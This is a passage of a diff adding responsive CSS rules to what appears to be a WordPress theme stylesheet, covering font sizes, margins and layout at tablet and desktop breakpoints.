+		font-size: 3.5rem;
+		line-height: 1.2;
+		margin-top: 1.6em;
+		margin-bottom: 0.8em;
+	}
+
+	.entry-content h2,
+	.entry-summary h2,
+	.page-content h2,
+	.comment-content h2 {
+		font-size: 29px;
+		font-size: 2.9rem;
+		line-height: 1.2069;
+		margin-top: 1.931em;
+		margin-bottom: 0.9655em;
+	}
+
+	.entry-content h3,
+	.entry-summary h3,
+	.page-content h3,
+	.comment-content h3 {
+		font-size: 24px;
+		font-size: 2.4rem;
+		line-height: 1.1667;
+		margin-top: 2.3333em;
+		margin-bottom: 1.1667em;
+	}
+
+	.entry-content h4,
+	.entry-summary h4,
+	.page-content h4,
+	.comment-content h4 {
+		font-size: 20px;
+		font-size: 2rem;
+		line-height: 1.4;
+		margin-top: 2.8em;
+		margin-bottom: 1.4em;
+	}
+
+	.entry-content h5,
+	.entry-content h6,
+	.entry-summary h5,
+	.entry-summary h6,
+	.page-content h5,
+	.page-content h6,
+	.comment-content h5,
+	.comment-content h6 {
+		font-size: 17px;
+		font-size: 1.7rem;
+		line-height: 1.2353;
+		margin-top: 3.2941em;
+		margin-bottom: 1.6471em;
+	}
+
+	.entry-content .more-link:after,
+	.entry-summary .more-link:after {
+		font-size: 24px;
+		top: 2px;
+	}
+
+	.author-info {
+		margin: 0 9.0909%;
+		padding: 9.0909% 0;
+	}
+
+	.author-info .avatar {
+		height: 42px;
+		margin: 0 1.6471em 1.6471em 0;
+		width: 42px;
+	}
+
+	.author-link:after {
+		top: 3px;
+	}
+
+	.posted-on:before,
+	.byline:before,
+	.cat-links:before,
+	.tags-links:before,
+	.comments-link:before,
+	.entry-format:before,
+	.edit-link:before,
+	.full-size-link:before {
+		top: 3px;
+	}
+
+	.taxonomy-description {
+		padding-top: 0.4118em;
+	}
+
+	.page-title,
+	.comments-title,
+	.comment-reply-title,
+	.post-navigation .post-title {
+		font-size: 24px;
+		font-size: 2.4rem;
+		line-height: 1.1667;
+	}
+
+	.page-links {
+		margin-bottom: 1.4117em;
+	}
+
+	.page-links a,
+	.page-links > span {
+		margin: 0 0.2857em 0.2857em 0;
+	}
+
+	.entry-attachment {
+		margin-bottom: 1.6471em;
+	}
+
+	.format-aside .entry-title,
+	.format-image .entry-title,
+	.format-video .entry-title,
+	.format-quote .entry-title,
+	.format-gallery .entry-title,
+	.format-status .entry-title,
+	.format-link .entry-title,
+	.format-audio .entry-title,
+	.format-chat .entry-title {
+		font-size: 20px;
+		font-size: 2rem;
+		line-height: 1.4;
+		margin-bottom: 1.4em;
+	}
+
+	.format-link .entry-title a:after {
+		top: 0.0833em;
+	}
+
+	.comments-title {
+		margin-bottom: 1.4em;
+	}
+
+	.comment-list article,
+	.comment-list .pingback,
+	.comment-list .trackback {
+		padding: 1.6471em 0;
+	}
+
+	.comment-list + .comment-respond,
+	.comment-navigation + .comment-respond {
+		padding-top: 1.6471em;
+	}
+
+	.comment-list .children > li {
+		padding-left: 1.2353em;
+	}
+
+	.comment-meta {
+		position: relative;
+	}
+
+	.comment-author {
+		margin-bottom: 0;
+	}
+
+	.comment-author .avatar {
+		height: 42px;
+		margin-right: 1.64705em;
+		position: relative;
+		top: 5px;
+		width: 42px;
+	}
+
+	.comment-metadata .edit-link:before {
+		top: 2px;
+	}
+
+	.pingback .edit-link:before {
+		top: 6px;
+	}
+
+	.bypostauthor > article .fn:after {
+		top: 7px;
+		left: 6px;
+	}
+
+	.comment-content ul,
+	.comment-content ol {
+		margin-bottom: 1.6471em;
+	}
+
+	.comment-list .reply a {
+		padding: 0.4286em 0.8571em;
+	}
+
+	.comment-form,
+	.no-comments {
+		padding-top: 1.6471em;
+	}
+
+	.comment-reply-title small a:before {
+		top: -1px;
+	}
+
+	embed,
+	iframe,
+	object,
+	video {
+		margin-bottom: 1.6471em;
+	}
+
+	.wp-audio-shortcode,
+	.wp-video,
+	.wp-playlist.wp-audio-playlist {
+		font-size: 17px;
+		font-size: 1.7rem;
+		margin-bottom: 1.6471em;
+	}
+
+	.wp-caption,
+	.gallery {
+		margin-bottom: 1.6471em;
+	}
+
+	.widecolumn .mu_alert {
+		margin-bottom: 1.6471em;
+	}
+
+	.widecolumn p {
+		margin: 1.6471em 0;
+	}
+
+	.widecolumn p + h2 {
+		margin-top: 1.6em;
+	}
+
+	.widecolumn #key,
+	.widecolumn .mu_register #blog_title,
+	.widecolumn .mu_register #user_email,
+	.widecolumn .mu_register #blogname,
+	.widecolumn .mu_register #user_name {
+		font-size: 17px;
+		font-size: 1.7rem;
+		line-height: normal;
+	}
+
+	.widecolumn .mu_register #blog_title,
+	.widecolumn .mu_register #user_email,
+	.widecolumn .mu_register #user_name {
+		margin: 0 0 0.4117em;
+	}
+}
+
+
+/**
+ * 16.3 Tablet Large 880px
+ */
+
+@media screen and (min-width: 55em) {
+	body,
+	button,
+	input,
+	select,
+	textarea {
+		font-size: 19px;
+		font-size: 1.9rem;
+		line-height: 1.6842;
+	}
+
+	button,
+	input {
+		line-height: normal;
+	}
+
+	p,
+	address,
+	pre,
+	hr,
+	ul,
+	ol,
+	dl,
+	dd,
+	table {
+		margin-bottom: 1.6842em;
+	}
+
+	blockquote {
+		font-size: 22px;
+		font-size: 2.2rem;
+		line-height: 1.8182;
+		margin-bottom: 1.8182em;
+		margin-left: -1.0909em;
+		padding-left: 0.9091em;
+	}
+
+	blockquote p {
+		margin-bottom: 1.8182em;
+	}
+
+	blockquote cite,
+	blockquote small {
+		font-size: 19px;
+		font-size: 1.9rem;
+		line-height: 1.6842;
+	}
+
+	pre {
+		line-height: 1.2632;
+	}
+
+	button,
+	input[type="button"],
+	input[type="reset"],
+	input[type="submit"],
+	.post-password-form input[type="submit"],
+	.widecolumn #submit,
+	.widecolumn .mu_register input[type="submit"] {
+		font-size: 16px;
+		font-size: 1.6rem;
+		padding: 0.8125em 1.625em;
+	}
+
+	input[type="text"],
+	input[type="email"],
+	input[type="url"],
+	input[type="password"],
+	input[type="search"],
+	textarea {
+		padding: 0.5278em;
+	}
+
+	.main-navigation {
+		font-size: 16px;
+		font-size: 1.6rem;
+		line-height: 1.5;
+	}
+
+	.main-navigation a {
+		padding: 0.75em 0;
+	}
+
+	.main-navigation .menu-item-description {
+		font-size: 16px;
+		font-size: 1.6rem;
+		line-height: 1.5;
+	}
+
+	.social-navigation ul {
+		margin-bottom: -1.2632em;
+	}
+
+	.social-navigation a {
+		height: 2.5263em;
+		width: 2.5263em;
+	}
+
+	.secondary-toggle {
+		height: 64px;
+		width: 64px;
+	}
+
+	.secondary-toggle:before {
+		line-height: 62px;
+		width: 62px;
+	}
+
+	.post-password-form label,
+	.post-navigation .meta-nav,
+	.comment-navigation,
+	.image-navigation,
+	.author-heading,
+	.author-bio,
+	.entry-footer,
+	.page-links a,
+	.page-links span,
+	.comment-metadata,
+	.pingback .edit-link,
+	.comment-list .reply,
+	.comment-notes,
+	.comment-awaiting-moderation,
+	.logged-in-as,
+	.comment-form label,
+	.comment-form .comment-form-cookies-consent label,
+	.form-allowed-tags,
+	.site-info,
+	.wp-caption-text,
+	.gallery-caption,
+	.entry-caption,
+	.widecolumn label,
+	.widecolumn .mu_register label {
+		font-size: 16px;
+		font-size: 1.6rem;
+	}
+
+	.pagination .nav-links {
+		min-height: 3.3684em;
+	}
+
+	.pagination .page-numbers {
+		line-height: 3.3684em;
+		padding: 0 0.8421em;
+	}
+
+	.pagination .prev,
+	.pagination .next {
+		height: 64px;
+		padding: 0;
+		width: 64px;
+	}
+
+	.pagination .prev:before,
+	.pagination .next:before {
+		height: 64px;
+		line-height: 64px;
+		width: 64px;
+	}
+
+	.image-navigation .nav-previous a:before,
+	.image-navigation .nav-next a:after,
+	.comment-navigation .nav-previous a:before,
+	.comment-navigation .nav-next a:after {
+		font-size: 24px;
+		top: -1px;
+	}
+
+	blockquote.alignleft,
+	.wp-caption.alignleft,
+	img.alignleft {
+		margin: 0.4211em 1.6842em 1.6842em 0;
+	}
+
+	blockquote.alignright,
+	.wp-caption.alignright,
+	img.alignright {
+		margin: 0.4211em 0 1.6842em 1.6842em;
+	}
+
+	blockquote.aligncenter,
+	.wp-caption.aligncenter,
+	img.aligncenter {
+		margin-top: 0.4211em;
+		margin-bottom: 1.6842em;
+	}
+
+	.wp-caption.alignleft,
+	.wp-caption.alignright,
+	.wp-caption.aligncenter {
+		margin-bottom: 1.2632em;
+	}
+
+	.site-branding {
+		min-height: 3.7895em;
+		padding-right: 74px;
+	}
+
+	.site-title {
+		font-size: 32px;
+		font-size: 3.2rem;
+		line-height: 1.25;
+	}
+
+	.custom-logo {
+		max-height: 104px;
+	}
+
+	.wp-custom-logo .site-title {
+		margin-top: 0.5em;
+	}
+
+	.site-description {
+		font-size: 16px;
+		font-size: 1.6rem;
+	}
+
+	.widget {
+		font-size: 16px;
+		font-size: 1.6rem;
+	}
+
+	.widget blockquote {
+		font-size: 19px;
+		font-size: 1.9rem;
+		line-height: 1.6842;
+		margin-bottom: 1.6842em;
+		margin-left: -1.2632em;
+		padding-left: 1.0526em;
+	}
+
+	.widget blockquote p {
+		margin-bottom: 1.6842em;
+	}
+
+	.widget blockquote cite,
+	.widget blockquote small {
+		font-size: 16px;
+		font-size: 1.6rem;
+	}
+
+	.widget button,
+	.widget input,
+	.widget select,
+	.widget textarea {
+		line-height: 1.5;
+	}
+
+	.widget button,
+	.widget input {
+		line-height: normal;
+	}
+
+	.widget button,
+	.widget input[type="button"],
+	.widget input[type="reset"],
+	.widget input[type="submit"] {
+		font-size: 16px;
+		font-size: 1.6rem;
+		padding: 0.8125em 1.625em;
+	}
+
+	.widget input[type="text"],
+	.widget input[type="email"],
+	.widget input[type="url"],
+	.widget input[type="password"],
+	.widget input[type="search"],
+	.widget textarea {
+		padding: 0.75em;
+	}
+
+	.widget .wp-caption-text,
+	.widget .gallery-caption {
+		line-height: 1.5;
+	}
+
+	.widget_calendar td,
+	.widget_calendar th {
+		line-height: 2.9375;
+	}
+
+	.widget_archive li,
+	.widget_categories li,
+	.widget_links li,
+	.widget_meta li,
+	.widget_nav_menu li,
+	.widget_pages li,
+	.widget_recent_comments li,
+	.widget_recent_entries li {
+		padding: 0.7188em 0;
+	}
+
+	.widget_categories .children,
+	.widget_nav_menu .sub-menu,
+	.widget_pages .children {
+		margin: 0.7188em 0 0 1em;
+		padding-top: 0.7188em;
+	}
+
+	.widget_rss .rss-date,
+	.widget_rss cite {
+		font-size: 13px;
+		font-size: 1.3rem;
+		line-height: 1.8462;
+	}
+
+	.post-thumbnail {
+		margin-bottom: 2.9474em;
+	}
+
+	.entry-title,
+	.widecolumn h2 {
+		font-size: 39px;
+		font-size: 3.9rem;
+		line-height: 1.2308;
+		margin-bottom: 1.2308em;
+	}
+
+	.entry-content h1,
+	.entry-summary h1,
+	.page-content h1,
+	.comment-content h1 {
+		font-size: 39px;
+		font-size: 3.9rem;
+		line-height: 1.2308;
+		margin-top: 1.641em;
+		margin-bottom: 0.8205em;
+	}
+
+	.entry-content h2,
+	.entry-summary h2,
+	.page-content h2,
+	.comment-content h2 {
+		font-size: 32px;
+		font-size: 3.2rem;
+		line-height: 1.25;
+		margin-top: 2em;
+		margin-bottom: 1em;
+	}
+
+	.entry-content h3,
+	.entry-summary h3,
+	.page-content h3,
+	.comment-content h3 {
+		font-size: 27px;
+		font-size: 2.7rem;
+		line-height: 1.1852;
+		margin-top: 2.3704em;
+		margin-bottom: 1.1852em;
+	}
+
+	.entry-content h4,
+	.entry-summary h4,
+	.page-content h4,
+	.comment-content h4 {
+		font-size: 22px;
+		font-size: 2.2rem;
+		line-height: 1.4545;
+		margin-top: 2.9091em;
+		margin-bottom: 1.4545em;
+	}
+
+	.entry-content h5,
+	.entry-content h6,
+	.entry-summary h5,
+	.entry-summary h6,
+	.page-content h5,
+	.page-content h6,
+	.comment-content h5,
+	.comment-content h6 {
+		font-size: 19px;
+		font-size: 1.9rem;
+		line-height: 1.2632;
+		margin-top: 3.3684em;
+		margin-bottom: 1.6842em;
+	}
+
+	.entry-content .more-link:after,
+	.entry-summary .more-link:after {
+		top: 3px;
+	}
+
+	.author-info .avatar {
+		height: 56px;
+		margin: 0 1.6842em 1.6842em 0;
+		width: 56px;
+	}
+
+	.author-link:after {
+		font-size: 24px;
+		top: 0;
+	}
+
+	.posted-on:before,
+	.byline:before,
+	.cat-links:before,
+	.tags-links:before,
+	.comments-link:before,
+	.entry-format:before,
+	.edit-link:before,
+	.full-size-link:before {
+		top: 4px;
+	}
+
+	.taxonomy-description {
+		padding-top: 0.4211em;
+	}
+
+	.page-title,
+	.comments-title,
+	.comment-reply-title,
+	.post-navigation .post-title {
+		font-size: 27px;
+		font-size: 2.7rem;
+		line-height: 1.1852;
+	}
+
+	.page-links {
+		margin-bottom: 1.4736em;
+	}
+
+	.page-links a,
+	.page-links > span {
+		margin: 0 0.25em 0.25em 0;
+	}
+
+	.entry-attachment {
+		margin-bottom: 1.6842em
+	}
+
+	.format-aside .entry-title,
+	.format-image .entry-title,
+	.format-video .entry-title,
+	.format-quote .entry-title,
+	.format-gallery .entry-title,
+	.format-status .entry-title,
+	.format-link .entry-title,
+	.format-audio .entry-title,
+	.format-chat .entry-title {
+		font-size: 22px;
+		font-size: 2.2rem;
+		line-height: 1.4545;
+		margin-bottom: 1.4545em;
+	}
+
+	.format-link .entry-title a:after {
+		top: 0.125em;
+	}
+
+	.comments-title {
+		margin-bottom: 1.4545em;
+	}
+
+	.comment-list article,
+	.comment-list .pingback,
+	.comment-list .trackback {
+		padding: 1.6842em 0;
+	}
+
+	.comment-list + .comment-respond,
+	.comment-navigation + .comment-respond {
+		padding-top: 1.6842em;
+	}
+
+	.comment-list .children > li {
+		padding-left: 1.4737em;
+	}
+
+	.comment-author .avatar {
+		height: 56px;
+		margin-right: 1.6842em;
+		top: 3px;
+		width: 56px;
+	}
+
+	.comment-metadata {
+		line-height: 2;
+	}
+
+	.comment-metadata .edit-link:before {
+		top: 8px;
+	}
+
+	.pingback .edit-link:before {
+		top: 8px;
+	}
+
+	.bypostauthor > article .fn:after {
+		top: 8px;
+	}
+
+	.comment-content ul,
+	.comment-content ol {
+		margin-bottom: 1.6842em;
+	}
+
+	.comment-list .reply a {
+		padding: 0.4375em 0.875em;
+	}
+
+	.comment-form,
+	.no-comments {
+		padding-top: 1.6842em;
+	}
+
+	embed,
+	iframe,
+	object,
+	video {
+		margin-bottom: 1.6842em;
+	}
+
+	.wp-audio-shortcode,
+	.wp-video,
+	.wp-playlist.wp-audio-playlist {
+		font-size: 19px;
+		font-size: 1.9rem;
+		margin-bottom: 1.6842em;
+	}
+
+	.wp-caption,
+	.gallery {
+		margin-bottom: 1.6842em;
+	}
+
+	.widecolumn .mu_alert {
+		margin-bottom: 1.6842em;
+	}
+
+	.widecolumn p {
+		margin: 1.6842em 0;
+	}
+
+	.widecolumn p + h2 {
+		margin-top: 1.641em;
+	}
+
+	.widecolumn #key,
+	.widecolumn .mu_register #blog_title,
+	.widecolumn .mu_register #user_email,
+	.widecolumn .mu_register #blogname,
+	.widecolumn .mu_register #user_name {
+		font-size: 19px;
+		font-size: 1.9rem;
+	}
+
+	.widecolumn .mu_register #blog_title,
+	.widecolumn .mu_register #user_email,
+	.widecolumn .mu_register #user_name {
+		margin: 0 0 0.421em;
+	}
+}
+
+
+/**
+ * 16.4 Desktop Small 955px
+ */
+
+@media screen and (min-width: 59.6875em) {
+	body:before {
+		background-color: #fff;
+		box-shadow: 0 0 1px rgba(0, 0, 0, 0.15);
+		content: "";
+		display: block;
+		height: 100%;
+		min-height: 100%;
+		position: fixed;
+		top: 0;
+		left: 0;
+		width: 29.4118%;
+		z-index: 0; /* Fixes flashing bug with scrolling on Safari */
+	}
+
+	.site {
+		margin: 0 auto;
+		max-width: 1403px;
+	}
+
+	.sidebar {
+		float: left;
+		margin-right: -100%;
+		max-width: 413px;
+		position: relative;
+		width: 29.4118%;
+	}
+
+	.secondary {
+		background-color: transparent;
+		box-shadow: none;
+		display: block;
+		margin: 0;
+		padding: 0;
+	}
+
+	.site-main {
+		padding: 8.3333% 0;
+	}
+
+	.site-content {
+		display: block;
+		float: left;
+		margin-left: 29.4118%;
+		width: 70.5882%;
+	}
+
+	body {
+		font-size: 15px;
+		font-size: 1.5rem;
+		line-height: 1.6;
+	}
+
+	p,
+	address,
+	pre,
+	hr,
+	ul,
+	ol,
+	dl,
+	dd,
+	table {
+		margin-bottom: 1.6em;
+	}
+
+	blockquote {
+		font-size: 18px;
+		font-size: 1.8rem;
+		line-height: 1.6667;
+		margin-bottom: 1.6667em;
+		margin-left: -1.3333em;
+		padding-left: 1.1111em;
+	}
+
+	blockquote cite,
+	blockquote small {
+		font-size: 15px;
+		font-size: 1.5rem;
+		line-height: 1.6;
+	}
+
+	pre {
+		line-height: 1.2;
+	}
+
+	button,
+	input,
+	select,
+	textarea {
+		font-size: 16px;
+		font-size: 1.6rem;
+		line-height: 1.5;
+	}
+
+	button,
+	input {
+		line-height: normal;
+	}
+
+	button,
+	input[type="button"],
+	input[type="reset"],
+	input[type="submit"],
+	.post-password-form input[type="submit"],
+	.widecolumn #submit,
+	.widecolumn .mu_register input[type="submit"] {
+		font-size: 12px;
+		font-size: 1.2rem;
+		padding: 0.7917em 1.5833em;
+	}
+
+	input[type="text"],
+	input[type="email"],
+	input[type="url"],
+	input[type="password"],
+	input[type="search"],
+	textarea {
+		padding: 0.375em;
+	}
+
+	.main-navigation {
+		font-size: 12px;
+		font-size: 1.2rem;
+		margin: 0 20% 20%;
+	}
+
+	.main-navigation a {
+		padding: 0.5em 0;
+	}
+
+	.main-navigation .menu-item-has-children > a {
+		padding-right: 30px;
+	}
+
+	.main-navigation .menu-item-description {
+		font-size: 12px;
+		font-size: 1.2rem;
+		line-height: 1.5;
+	}
+
+	.dropdown-toggle {
+		height: 24px;
+		width: 24px;
+	}
+
+	.dropdown-toggle:after {
+		font-size: 16px;
+		line-height: 24px;
+		width: 24px;
+	}
+
+	.social-navigation {
+		margin: 0 20% 20%;
+	}
+
+	.social-navigation ul {
+		margin-bottom: -1.6em;
+	}
+
+	.social-navigation li {
+		width: 25%;
+	}
+
+	.social-navigation a {
+		height: 3.2em;
+	}
+
+	.secondary-toggle {
+		display: none;
+	}
+
+	.post-password-form label,
+	.post-navigation .meta-nav,
+	.comment-navigation,
+	.image-navigation,
+	.author-heading,
+	.author-bio,
+	.entry-footer,
+	.page-links a,
+	.page-links span,
+	.comment-metadata,
+	.pingback .edit-link,
+	.comment-list .reply,
+	.comment-notes,
+	.comment-awaiting-moderation,
+	.logged-in-as,
+	.comment-form label,
+	.comment-form .comment-form-cookies-consent label,
+	.form-allowed-tags,
+	.site-info,
+	.wp-caption-text,
+	.gallery-caption,
+	.entry-caption,
+	.widecolumn label,
+	.widecolumn .mu_register label {
+		font-size: 12px;
+		font-size: 1.2rem;
+	}
+
+	.post-navigation {
+		margin: 8.3333% 8.3333% 0;
+	}
+
+	.post-navigation a {
+		padding: 5% 10%;
+	}
+
+	.pagination {
+		margin: 8.333% 8.333% 0;
+	}
+
+	.pagination .nav-links {
+		min-height: 3.2em;
+	}
+
+	.pagination .page-numbers {
+		line-height: 3.2em;
+		padding: 0 0.8em;
+	}
+
+	.pagination .prev,
+	.pagination .next {
+		height: 48px;
+		padding: 0;
+		width: 48px;
+	}
+
+	.pagination .prev:before,
+	.pagination .next:before {
+		height: 48px;
+		line-height: 48px;
+		width: 48px;
+	}
+
+	.image-navigation .nav-previous a:before,
+	.image-navigation .nav-next a:after,
+	.comment-navigation .nav-previous a:before,
+	.comment-navigation .nav-next a:after {
+		font-size: 16px;
+		top: 0;
+	}
+
+	.image-navigation {
+		padding: 0 10%;
+	}
+
+	blockquote.alignleft,
+	.wp-caption.alignleft,
+	img.alignleft {
+		margin: 0.4em 1.6em 1.6em 0;
+	}
+
+	blockquote.alignright,
+	.wp-caption.alignright,
+	img.alignright {
+		margin: 0.4em 0 1.6em 1.6em;
+	}
+
+	blockquote.aligncenter,
+	.wp-caption.aligncenter,
+	img.aligncenter {
+		clear: both;
+		margin-top: 0.4em;
+		margin-bottom: 1.6em;
+	}
+
+	.wp-caption.alignleft,
+	.wp-caption.alignright,
+	.wp-caption.aligncenter {
+		margin-bottom: 1.2em;
+	}
+
+	.site-header {
+		background-color: transparent;
+		border-bottom: 0;
+		margin: 20% 0;
+		padding: 0 20%;
+	}
+
+	.site-branding {
+		min-height: 0;
+		padding: 0;
+	}
+
+	.site-title {
+		font-size: 22px;
+		font-size: 2.2rem;
+		line-height: 1.3636;
+	}
+
+	.custom-logo {
+		max-height: none;
+	}
+
+	.wp-custom-logo .site-title {
+		margin-top: 0.545454545em;
+	}
+
+	.site-description {
+		font-size: 12px;
+		font-size: 1.2rem;
+	}
+
+	.widget {
+		font-size: 12px;
+		font-size: 1.2rem;
+		margin: 0 0 20%;
+		padding: 0 20%;
+	}
+
+	.widget blockquote {
+		font-size: 12px;
+		font-size: 1.2rem;
+		line-height: 1.5;
+		margin-bottom: 1.5em;
+		margin-left: -1.5em;
+		padding-left: 1.1667em;
+	}
+
+	.widget blockquote p {
+		margin-bottom: 1.5em;
+	}
+
+	.widget blockquote cite,
+	.widget blockquote small {
+		font-size: 12px;
+		font-size: 1.2rem;
+	}
+
+	.widget pre {
+		padding: 0.5em;
+	}
+
+	.widget button,
+	.widget input,
+	.widget select,
+	.widget textarea {
+		font-size: 12px;
+		font-size: 1.2rem;
+	}
+
+	.widget button,
+	.widget input[type="button"],
+	.widget input[type="reset"],
+	.widget input[type="submit"] {
+		font-size: 12px;
+		font-size: 1.2rem;
+		padding: 0.5417em 1.0833em;
+	}
+
+	.widget input[type="text"],
+	.widget input[type="email"],
+	.widget input[type="url"],
+	.widget input[type="password"],
+	.widget input[type="search"],
+	.widget textarea {
+		padding: 0.4583em;
+	}
+
+	.widget .wp-caption-text,
+	.widget .gallery-caption {
+		font-size: 12px;
+		font-size: 1.2rem;
+	}
+
+	.widget_calendar td,
+	.widget_calendar th {
+		line-height: 1.9167;
+	}
+
+	.widget_archive li,
+	.widget_categories li,
+	.widget_links li,
+	.widget_meta li,
+	.widget_nav_menu li,
+	.widget_pages li,
+	.widget_recent_comments li,
+	.widget_recent_entries li {
+		padding: 0.4583em 0;
+	}
+
+	.widget_categories .children,
+	.widget_nav_menu .sub-menu,
+	.widget_pages .children {
+		margin: 0.4583em 0 0 1em;
+		padding-top: 0.4583em;
+	}
+
+	.widget_rss .rss-date,
+	.widget_rss cite {
+		font-size: 12px;
+		font-size: 1.2rem;
+		line-height: 1.5;
+	}
+
+	.hentry,
+	.page-header,
+	.page-content {
+		margin: 0 8.3333%;
+	}
+
+	.hentry {
+		padding-top: 8.3333%;
+	}
+
+	.hentry + .hentry,
+	.page-header + .hentry,
+	.page-header + .page-content {
+		margin-top: 8.3333%;
+	}
+
+	.post-thumbnail {
+		margin-bottom: 2.4em;
+	}
+
+	.entry-header {
+		padding: 0 10%;
+	}
+
+	.entry-title,
+	.widecolumn h2 {
+		font-size: 31px;
+		font-size: 3.1rem;
+		line-height: 1.1613;
+		margin-bottom: 1.1613em;
+	}
+
+	.entry-content,
+	.entry-summary {
+		padding: 0 10% 10%;
+	}
+
+	.entry-content h1,
+	.entry-summary h1,
+	.page-content h1,
+	.comment-content h1 {
+		font-size: 31px;
+		font-size: 3.1rem;
+		line-height: 1.1613;
+		margin-top: 1.5484em;
+		margin-bottom: 0.7742em;
+	}
+
+	.entry-content h2,
+	.entry-summary h2,
+	.page-content h2,
+	.comment-content h2 {
+		font-size: 26px;
+		font-size: 2.6rem;
+		line-height: 1.3846;
+		margin-top: 1.8462em;
+		margin-bottom: 0.9231em;
+	}
+
+	.entry-content h3,
+	.entry-summary h3,
+	.page-content h3,
+	.comment-content h3 {
+		font-size: 22px;
+		font-size: 2.2rem;
+		line-height: 1.3636;
+		margin-top: 2.1818em;
+		margin-bottom: 1.0909em;
+	}
+
+	.entry-content h4,
+	.entry-summary h4,
+	.page-content h4,
+	.comment-content h4 {
+		font-size: 18px;
+		font-size: 1.8rem;
+		line-height: 1.3333;
+		margin-top: 2.6667em;
+		margin-bottom: 1.3333em;
+	}
+
+	.entry-content h5,
+	.entry-content h6,
+	.entry-summary h5,
+	.entry-summary h6,
+	.page-content h5,
+	.page-content h6,
+	.comment-content h5,
+	.comment-content h6 {
+		font-size: 15px;
+		font-size: 1.5rem;
+		line-height: 1.2;
+		margin-top: 3.2em;
+		margin-bottom: 1.6em;
+	}
+
+	.entry-content .more-link:after,
+	.entry-summary .more-link:after {
+		font-size: 16px;
+		top: 5px;
+	}
+
+	.author-info {
+		margin: 0 10%;
+		padding: 10% 0;
+	}
+
+	.author-info .avatar {
+		height: 36px;
+		margin: 0 1.5em 1.5em 0;
+		width: 36px;
+	}
+
+	.author-link:after {
+		font-size: 16px;
+		top: 1px;
+	}
+
+	.entry-footer {
+		padding: 5% 10%;
+	}
+
+	.posted-on:before,
+	.byline:before,
+	.cat-links:before,
+	.tags-links:before,
+	.comments-link:before,
+	.entry-format:before,
+	.edit-link:before,
+	.full-size-link:before {
+		top: 0;
+	}
+
+	.page-header {
+		padding: 4.1666% 8.3333%;
+	}
+
+	.page-content {
+		padding: 8.3333%;
+	}
+
+	.taxonomy-description {
+		padding-top: 0.4em;
+	}
+
+	.page-title,
+	.comments-title,
+	.comment-reply-title,
+	.post-navigation .post-title {
+		font-size: 18px;
+		font-size: 1.8rem;
+		line-height: 1.3333;
+	}
+
+	.page-links {
+		margin-bottom: 1.3333em;
+	}
+
+	.page-links a,
+	.page-links > span {
+		margin: 0 0.3333em 0.3333em 0;
+	}
+
+	.entry-attachment {
+		margin-bottom: 1.6em;
+	}
+
+	.format-aside .entry-title,
+	.format-image .entry-title,
+	.format-video .entry-title,
+	.format-quote .entry-title,
+	.format-gallery .entry-title,
+	.format-status .entry-title,
+	.format-link .entry-title,
+	.format-audio .entry-title,
+	.format-chat .entry-title {
+		font-size: 18px;
+		font-size: 1.8rem;
+		line-height: 1.3333;
+		margin-bottom: 1.3333em;
+	}
+
+	.format-link .entry-title a:after {
+		top: 0;
+	}
+
+	.comments-area {
+		margin: 8.3333% 8.3333% 0;
+		padding: 8.3333%;
+	}
+
+	.comments-title {
+		margin-bottom: 1.3333em;
+	}
+
+	.comment-list article,
+	.comment-list .pingback,
+	.comment-list .trackback {
+		padding: 1.6em 0;
+	}
+
+	.comment-list + .comment-respond,
+	.comment-navigation + .comment-respond {
+		padding-top: 1.6em;
+	}
+
+	.comment-list .children > li {
+		padding-left: 0.8em;
+	}
+
+	.comment-author {
+		margin-bottom: 0.4em;
+	}
+
+	.comment-author .avatar {
+		height: 24px;
+		margin-right: 0.8em;
+		top: 0;
+		width: 24px;
+	}
+
+	.comment-metadata .edit-link:before {
+		top: 3px;
+	}
+
+	.pingback .edit-link:before {
+		top: 5px;
+	}
+
+	.bypostauthor > article .fn:after {
+		top: 5px;
+		left: 3px;
+	}
+
+	.comment-content ul,
+	.comment-content ol {
+		margin-bottom: 2em;
+	}
+
+	.comment-list .reply a {
+		padding: 0.4167em 0.8333em;
+	}
+
+	.comment-form,
+	.no-comments {
+		padding-top: 1.6em;
+	}
+
+	.comment-reply-title small a:before {
+		top: -3px;
+	}
+
+	.site-footer {
+		float: left;
+		margin: 0 0 0 35.2941%;
+		padding: 0;
+		width: 58.8235%;
+	}
+
+	.site-info {
+		padding: 5% 10%;
+	}
+
+	embed,
+	iframe,
+	object,
+	video {
+		margin-bottom: 1.6em;
+	}
+
+	.wp-audio-shortcode,
+	.wp-video,
+	.wp-playlist.wp-audio-playlist {
+		font-size: 15px;
+		font-size: 1.5rem;
+		margin-bottom: 1.6em;
+	}
+
+	.wp-caption,
+	.gallery {
+		margin-bottom: 1.6em;
+	}
+
+	.widecolumn {
+		margin: 8.3333%;
+		padding: 8.3333%;
+	}
+
+	.widecolumn .mu_alert {
+		margin-bottom: 1.6em;
+	}
+
+	.widecolumn p {
+		margin: 1.6em 0;
+	}
+
+	.widecolumn p + h2 {
+		margin-top: 1.5484em;
+	}
+
+	.widecolumn #key,
+	.widecolumn .mu_register #blog_title,
+	.widecolumn .mu_register #user_email,
+	.widecolumn .mu_register #blogname,
+	.widecolumn .mu_register #user_name {
+		font-size: 16px;
+		font-size: 1.6rem;
+	}
+
+	.widecolumn .mu_register #blog_title,
+	.widecolumn .mu_register #user_email,
+	.widecolumn .mu_register #user_name {
+		margin: 0 0 0.375em;
+	}
+}
+
+
+/**
+ * 16.5 Desktop Medium 1100px
+ */
+
+@media screen and (min-width: 68.75em) {
+	body,
+	button,
+	input,
+	select,
+	textarea {
+		font-size: 17px;
+		font-size: 1.7rem;
+		line-height: 1.6471;
+	}
+
+	button,
+	input {
+		line-height: normal;
+	}
+
+	p,
+	address,
+	pre,
+	hr,
+	ul,
+	ol,
+	dl,
+	dd,
+	table {
+		margin-bottom: 1.6471em;
+	}
+
+	blockquote {
+		font-size: 20px;
+		font-size: 2rem;
+		line-height: 1.75;
+		margin-bottom: 1.75em;
+		margin-left: -1.05em;
+		padding-left: 0.85em;
+	}
+
+	blockquote p {
+		margin-bottom: 1.75em;
+	}
+
+	blockquote cite,
+	blockquote small {
+		font-size: 17px;
+		font-size: 1.7rem;
+		line-height: 1.6471;
+	}
+
+	pre {
+		line-height: 1.2353;
+	}
+
+	button,
+	input[type="button"],
+	input[type="reset"],
+	input[type="submit"],
+	.post-password-form input[type="submit"],
+	.widecolumn #submit,
+	.widecolumn .mu_register input[type="submit"] {
+		font-size: 14px;
+		font-size: 1.4rem;
+		padding: 0.8214em 1.5714em;
+	}
+
+	input[type="text"],
+	input[type="email"],
+	input[type="url"],
+	input[type="password"],
+	input[type="search"],
+	textarea {
+		padding: 0.5em;
+	}
+
+	.main-navigation {
